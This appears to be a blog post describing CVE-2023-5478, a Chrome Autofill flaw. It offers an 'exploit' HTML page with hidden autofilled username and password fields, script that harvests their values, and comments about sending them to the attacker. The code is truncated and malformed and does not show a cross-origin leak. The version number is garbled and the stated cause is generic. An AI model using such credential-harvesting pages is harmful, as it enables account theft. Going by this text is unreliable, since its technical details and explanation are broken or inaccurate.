Recently, a vulnerability (CVE-2023-5478) was identified in Google Chrome's Autofill feature that allows potential attackers to access cross-origin data. This vulnerability affects Chrome versions prior to 118..5993.7 and poses potential security risks. The following post will delve into the details of CVE-2023-5478, explaining its causes, the code snippet responsible for the vulnerability, the techniques used to exploit it, and the risks it poses. Before we begin, it's important to understand what cross-origin data is. In simple terms, cross-origin data refers to information requested from a different domain than the one the user currently interacts with.

Cause of Vulnerability

The cause of vulnerability CVE-2023-5478 is rooted in the inappropriate implementation of Autofill in Google Chrome. This flaw allows a remote attacker to leak cross-origin data using a crafted HTML page. The affected versions of Google Chrome did not properly filter and sanitize user inputs, leading to this security loophole.

The following code snippet showcases how an attacker may exploit the vulnerability CVE-2023-5478

<!DOCTYPE html>
    <title>CVE-2023-5478 Exploit</title>
    <form action=""; method="post" target="hidden-iframe">
      <input type="text" name="username" autocomplete="username">
      <input type="password" name="password" autocomplete="current-password">
      <input type="submit" value="Submit">
    <iframe name="hidden-iframe" style="display: none;"></iframe>
      window.addEventListener('load', function() {
        // When the form is submitted...
        document.querySelector('form').addEventListener('submit', function(event) {
          // Extract Autofill data from the input fields
          var username = document.querySelector('input[name="username"]').value;
          var password = document.querySelector('input[name="password"]').value;
          // Log the stolen information for demonstration purposes
          console.log('Username: ' + username + ', Password: ' + password);
          // Send the leaked data to the attacker
          // In a real-world scenario, the attacker could send this data to their server

Exploiting CVE-2023-5478

An attacker can use the above code snippet by creating a crafted HTML page containing the required fields for the Autofill functionality. The attacker can then trick the victim into visiting this malicious page, causing the browser to automatically fill in the username and password fields with the stored Autofill data. The attacker's JavaScript can extract this information and potentially misuse it.


Although the severity of this vulnerability is considered low, it still poses risks to user privacy and security. Attackers can capture sensitive user credentials, like usernames and passwords, leading to unauthorized access to user accounts and potential identity theft.

How to Defend Yourself

Google Chrome has addressed this vulnerability in the version 118..5993.70, thereby resolving the issue. Updating your Google Chrome browser to the latest version will protect you from potential exploitation of this vulnerability.

For more in-depth information on CVE-2023-5478, check out the official references

1. Chromium Security Bugs:
2. National Vulnerability Database (NVD):


In conclusion, the CVE-2023-5478 vulnerability in Google Chrome's Autofill feature serves as a reminder of the potential risks associated with browser functions. It highlights the importance of staying updated on software and security patches to protect oneself from potential cyber threats. Remember to always update your browser to the latest version!


Published on: 10/11/2023 23:15:00 UTC
Last modified on: 10/13/2023 02:15:00 UTC